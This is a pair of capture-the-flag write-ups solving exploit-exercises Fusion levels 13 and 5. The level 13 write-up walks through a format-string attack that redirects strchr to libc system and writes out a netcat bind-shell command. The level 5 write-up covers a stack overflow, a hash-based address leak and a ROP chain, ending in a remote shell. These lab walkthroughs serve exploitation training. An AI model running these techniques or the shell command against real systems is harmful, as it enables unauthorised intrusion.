Solving fusion level 13

Intro

about

Fusion’s level 13 is a Formatstring vulnerable application. The website doesn’t provide us any source code or extra info.

vuln_disc1

When playing with the application its easy to find the vulnerability, we can see that the ‘name’,’password’,’e-mail’ are vulnerable.

Since I don’t have the source code I use IDA to decompile the binary. below you can see the two most interesting functions ‘process’ and ‘get_string’

process

ida_process

get_string

ida_getline

If we look at ‘process’ we can see its uses ‘get_string’ to retrieve the username,password and e-mail. The buffers used here are limited to 63 chars.
The asprintf at line 23 formats all the given data into the ‘message_out’ buffer and then passes it on to the fprintf at line 29.

The next logical step would be to send it a buffer like ‘AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x..’ in order to get the index of our data on the stack(‘AAAA’) but since we  have a limited buffer I couldn’t get enough of the stack dumped
so i had to code a little fuzzer which uses the ‘%index$x’ method.

fuzzer source code: http://pastebin.com/2rdr7jjF

When running the fuzzer I got the following result..
fuzzer_test_and_verify

After manual verifying it we can see that our data is located at index 522.

Now since the binary uses full ASLR/NX/PIE I needed to get a binary address from the stack so attached GDB to the process and placed a breakpoint on the fprintf and let it continue.
Once the breakpoint was hit I first checked the current base the binary was in using ‘i proc map’

(gdb) i proc map
process 12992
cmdline = '/opt/fusion/bin/level13'
cwd = '/'
exe = '/opt/fusion/bin/level13'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	....
	0xb783c000 0xb783f000     0x3000          0       /opt/fusion/bin/level13
	0xb783f000 0xb7840000     0x1000     0x2000       /opt/fusion/bin/level13
	....

Next thing i did was dumping 1600 bytes from the stack in order to find some address which belongs to our binary, since the output is long i posted it on pastebin(http://pastebin.com/27EF41aE)
Doing a text search on anything starting with ‘b783c’ results in 3 hits on ‘0xb783c584’. when looking up this address in GDB we can see it points to the ‘libc.so.6’ string at raw offset 0x584 in the binary

(gdb) x/s 0xb783c584
0xb783c584:	 "libc.so.6"

Now since I was abit in a coding mood I decided to code a stack dumper based on the formatstring vulnerability which dumps an amount of the stack and shows the index of the data, this should help to quickly spot the address i am looking for and the index who belongs to it.

stack dumper source code: http://pastebin.com/sdbLEKdU

Below here we can see the trimmed output of the dumper and we can see that address we wanna leak is at index 223.

[+] Stack dumper started
00000001: bfdeb43c bfdeb47c bfdeb4bc 00000000
....
00000221: 00030000 b77a5020 b77a6584 b77a5904
....
[-] Stack dumper finished

A manual check tells us that the data is correct and consistent at this index

verify_leak

So now I knew the index of our data on the stack(522) and an index which can used to leak the baseaddress from(223). The common known methods of exploiting a formatstring vulnerability’s (overwrite GOT/DTOR/..) are based on the fact we can redirect the code execution to some user controlled code(shellcode), but since this binary uses NX non of the memory will be executable so I had to come up with some different method.

What if?

What if I could take a GOT entry of which I control its first argument when being called and point it to ‘libc_system’ resulting in a ‘System(attacker_argument, …);’When we look at the ‘process’ function from the point where the vulnerability occurs(fprintf) and forward we see ‘get_string’ being called ..

  fprintf(stdout, message_out);
  fflush(stdout);
  free(message_out);
  get_string("Would you like to try again? ", answer, 63);
char *__cdecl get_string(char *format, char *s, int n)
{
  char *result; // eax@5 MAPDST

  printf(format);
  fflush(stdout);
  if ( !fgets(s, n, stdin) )
    errx(1, "Unable to read for %s\n", format);
  result = strchr(s, '\r');
  if ( result )
    *result = 0;
  result = strchr(s, '\n');
  if ( result )
    *result = 0;
  return result;
}

The ‘get_string’ function reads data from the stdin into the ‘s’ buffer and then uses ‘strchr’ to strip it from newlines which makes ‘strchr’ our perfect candidate for the attack. Changing the strchr GOT to system would result in a ‘System(s, “\r”)’ and ‘s’ would be whatever we send it, for example ‘/bin/nc.traditional -lvp 6666 -e /bin/sh’

In order  to calculate the address of ‘System’ I need to calculate the distance between GOT_strchr and libc_system, so attached GDB once more

Calculate the virtual address of the strchr GOT entry

(gdb) x/wx 0xb7821000 + 0x00003BC8
0xb7824bc8 strchr@got.plt:	0xb7821bb6

Get the virtual address of the system function

(gdb) p system
$1 = {text variable, no debug info} 0xb76b4b20 __libc_system

Subtract them to get the distance

(gdb) p/x $1 - 0xb7824bc8
$2 = 0xffe8ff58

Exploit!

The general idea is to first send a registration request to leak the XXXXX584 address and subtract 0x584 from it to get the baseaddress then use that to calculate the address of the strchr GOT entry(baseaddress + 0x00003BC8) and then use that address to calculate the current system address by adding 0xFFE8FF58 to it. We continue the registration loop by sending a ‘yes’ on the ‘Would you like to try again?’ question to do another registration attempt, but this time we send our crafted formatstring pattern which will make strchr point to system and at the try again message we send our command string to be used in the system call.

Exploit source code: http://pastebin.com/7k5eU1Nq

The ‘generate_formatstr_exploit’ etc. is part of some formatstring vulnerability pattern generator I wrote to avoid creating these sexy patterns manually.

exploit1

Finally

Once more, another fun challenge! Formatstring vulnerability’s are pretty useful when dealing with ASLR since they allow you to dump stack data and leak addresses related to the binary/library helping to recover a baseaddress.
The fact I couldn’t simply redirect to my shellcode because of the NX made it more fun since opened a door to a different approach.

Some nice resource on formatstring exploitation: http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf

Solving fusion level 5

Intro

Recently I started playing with the virtual machines from exploit-exercises.com and decided to do some write-ups on some levels from the “Fusion” VM starting of with level 5 which is stack based overflow challenge with full ASLR/PIE/NX I didn’t include the source code of the level here because it’s kinda long, but you can check it at http://exploit-exercises.com/fusion/level05

Target

Our target seems to be a remote service listening on port 20005. Once connected
we enter the ‘childtask’ function where it does an endless loop of reading max. 512
of the socket and checks the data against a few known ‘commands’. They 5 known
commands are ‘addreg’, ‘senddb’, ‘checkname’, ‘quit’, ‘isup’

A little summarize on how they are supposed to formatted and what they do…

  • addreg name flag IP
    Add/Edit a ‘registrations’ entry in the array. The array index is calculated from the name using the ‘hash’ function. The flag has to be one of the following value’s 0,32,64,96,128,160,192,224 in order to allow adding or modifying the entry. The IP can be any valid IP formatted value like 0.0.0.0/255.255.255.255
  • senddb IP port
    Takes the IP and port and try’s to connect to it once connected it will send all the registration entry’s to it.
  • checkname name
    Get’s the array index using the ‘hash’ function from the given name and
    checks if its array entry is already set by checking the IP in the structure value(a value like 0.0.0.0 would would be considered ‘not set’) and then informs us if set or not
  • isup anything port
    Takes the port values and loops trough the registrations array try to connect to each IP with the given port once connected it will the entry of the IP it connected to.
  • quit  Exits..

Finding the bugs..

While looking at the code I could spot two possible stack-overflows. The first one would be in ‘senddb’ where it try’s to fit all the 128 array entry’s(if set..) into a 512 bytes buffer. Now since each entry contains a ‘registrations’ structure which is 6 bytes in size..

struct registrations
{
  short int flags; // 2 bytes
  in_addr_t ipv4;  // 4 bytes
} __attribute__((packed));

We could overflow the buffer(128 * 6 = 768 bytes)

The second issue I could spot was in the ‘get_and_hash’  function when ‘checkname’ call’s ‘get_and_hash’ it fails to check the max. name length of 32 causing an overflow in the ‘name’ buffer. This problem I actually discovered while playing with it and sending it a to long name causing it to crash immediately with a nice EIP overwrite.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/10wx $esp
0xb8907c20:	0x41414141	0x41414141	0x41414141	0x41414141
0xb8907c30:	0x41414141	0x41414141	0x41414141	0x41414141
0xb8907c40:	0x41414141	0x41414141
(gdb) i reg
eax            0x77	119
ecx            0x41	65
edx            0x56e8	22248
ebx            0xb779c11c	-1216757476
esp            0xb8907c20	0xb8907c20
ebp            0x41414141	0x41414141
esi            0x41414141	1094795585
edi            0x41414141	1094795585
eip            0x41414141	0x41414141
eflags         0x10292	[ AF SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

So that looked all good but since the target uses full ASLR/PIE/NX we need to leak some binary/library address in order to be able to build a ROP to bypass the NX. Now the first thing I came up with is that it had to be somewhere
in the ‘isup’/’senddb’ functions because of the overflows which could happen there and the fact it’s able to send me data but after playing for a while with those function I realized that they never could do me any good. Unlike level 4 this process isn’t forked so a crash-or-not bruteforce method doesn’t work here. I have to admit I got a bit stuck here and googled a bit around noticing I wasn’t the only one stuck here http://www.pwntester.com/2014/04/20/crowd-solving-fusion-level05/

By that time I didn’t really checked the ‘checkname’ behavior yet, I simply ported the hash routine to python and made it generate names for all 128 entry’s but if I added an entry and used ‘checkname’ to see if it got set I noticed something
weird! it seemed that the entry I expected to be set wasn’t set at all according to ‘checkname’ so I hooked up GDB to the process and placed a breakpoint in the ‘hash’ function where it calculates the array index(using the mask value) at
<hash+86> and run the ‘checkname’ command once more to see what happened.

Breakpoint 1, hash (str=0xb82a2b50 "AAAAAAAAP\250)\270.&}\267P\250)\270\b", length=21, mask=127) at level05/level05.c:23
23	in level05/level05.c 

If we look closely at the arguments given to the ‘hash’ function we could see something unexpected happening It seems that the function actually hashed a little more than just our ‘AAAAAAAA’ we could also see a length value of 21 which is a little more than our 8 chars. so i continued the debugger and tried it once more sending the same name(‘AAAAAAAA’)

Breakpoint 1, hash (str=0xb82a2b70 "AAAAAAAAP\250)\27065(}\26704", length=17, mask=127) at level05/level05.c:23
23	in level05/level05.c

Hmmm.. this time we got a length of 17 now this kinda explains why the ‘checkname’ kept saying that it wasn’t set while I clearly could see in the ‘registrations’ array that it was set. After redoing this test a few times I noticed it kept toggling between a length of 21 and 17. When I looked up the name buffer which was being hashed in case of a length of 17 I noticed the following

(gdb) x/8wx 0xb82a2b70
0xb82a2b70:	0x41414141	0x41414141	0xb829a850	0xb77d2835
0xb82a2b80:	0x00000004	0xb77d48fe	0xb77d27c0	0xb829aaec
(gdb) x/wx 0xb77d2835
0xb77d2835 :	0x10245c8b

We can see at 0xb82a2b70 the first 8 bytes which belongs to our name,  at 0xb82a2b70+8 we see some heap-address and at 0xb82a2b70+12 some
address which belongs to our binary eq. 0xb77d2835 <checkname+117> and finally at 0xb82a2b70+16 which is the current fd(handle) looking it up in bytes it looks like this

(gdb) x/17xb 0xb82a2b70
0xb82a2b70:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xb82a2b78:	0x50	0xa8	0x29	0xb8	0x35	0x28	0x7d	0xb7
0xb82a2b80:	0x04

After redoing the test a couple of times more I noticed the binary address at 0xb82a2b70+12 was always the same and the ‘fd’ at 0xb82a2b70+16 always 4. This could be very interesting if we could get the hash result
since we partly can control/predict the data being hashed but at that point I didn’t see how I could turn this behavior into my favor. I think it was 6 in the morning and I REALLY needed some sleep so went to bed, well.. that didn’t worked out to well because it kept messing with my head! so after laying in my bed for a couple of hours with my eyes pretty much wide open it suddenly hit me!

Cracking it!

If we do a checkname using a 15 chars name we would overwrite the heap-address at 0xb82a2b70+8 completely plus the first 3 bytes of the <checkname+117> address at 0xb82a2b70+12 and since we already know the ‘fd’ does that leave us with only 1 unknown byte being hashed(the one from the <checkname+117> address) and given the fact that we can control which array index is set using ‘addreg’ and also could clear this entry by doing ‘addreg name 0 0.0.0.0’ we could loop trough all 128 entry’s, set them and use checkname to see which index got set once we know this index we could simply create a list of bytes which results in that index/hash by hashing 0..255

result = dict()
for i in range(256):
	result[i] = _hash('AAAAAAAAAAAAAAA' + chr(i) + '\x04')

result[possible_byte_of_this_hash] = index/hash

So now we know every possible byte for that index/hash and if we continue on leaking more bytes by decreasing our name length from 15..12 we could retrieve each index/hash and so the possible bytes(assuming we know the other possible bytes) and use these to regenerate all the possible addresses to finally check if the last hash we recovered matches the hash of any of  our generated addresses assuming that where hash[3] == hash(‘AAAAAAAAAAAA’+generated_address+’\x04’) we have the correct address recovered. The only note to generating the possible addresses is that we should rely on the already known possible address bytes(knownpart) when we generate the next list of possible address bytes for a certain position.

result = dict()
for i in range(256):
	result[i] = _hash('AAAAAAAAAAAA' + (3 - currlen) * 'A' + chr(i) + knownpart + '\x04')

Once we have recovered the address of <checkname+117> completely we can subtract the rawoffset(0x2835) from it and recover the
baseaddresss and use it to build a ROP and finally use the known stack overflow in the checkname function to get some code execution going!!

Exploit code  http://pastebin.com/vt6BbFqG

h4x@kali:~/fusion$ ./flevel5.py 192.168.1.107 20005
[+] Bruteforcing checkname...
[+] Byte(1) hash(84) found
[+] Byte(2) hash(25) found
[+] Byte(3) hash(18) found
[+] Byte(4) hash(98) found
[+] Hashes: 84 25 18 98
[+] Address checkname+117 => 0xb7859835
[+] Sending exploit...
[+] Connecting to shell...
id
uid=20005 gid=20005 groups=20005
exit
*** Connection closed by remote host ***

Final words..

I think this was a pretty fun challenge! and without actually even knowing what caused this weird hash function behavior it kinda showed me once more that its good sometimes to check if the code actually does what you think it does by debugging it for example.

Time to hit bed it’s 6 in the morning again..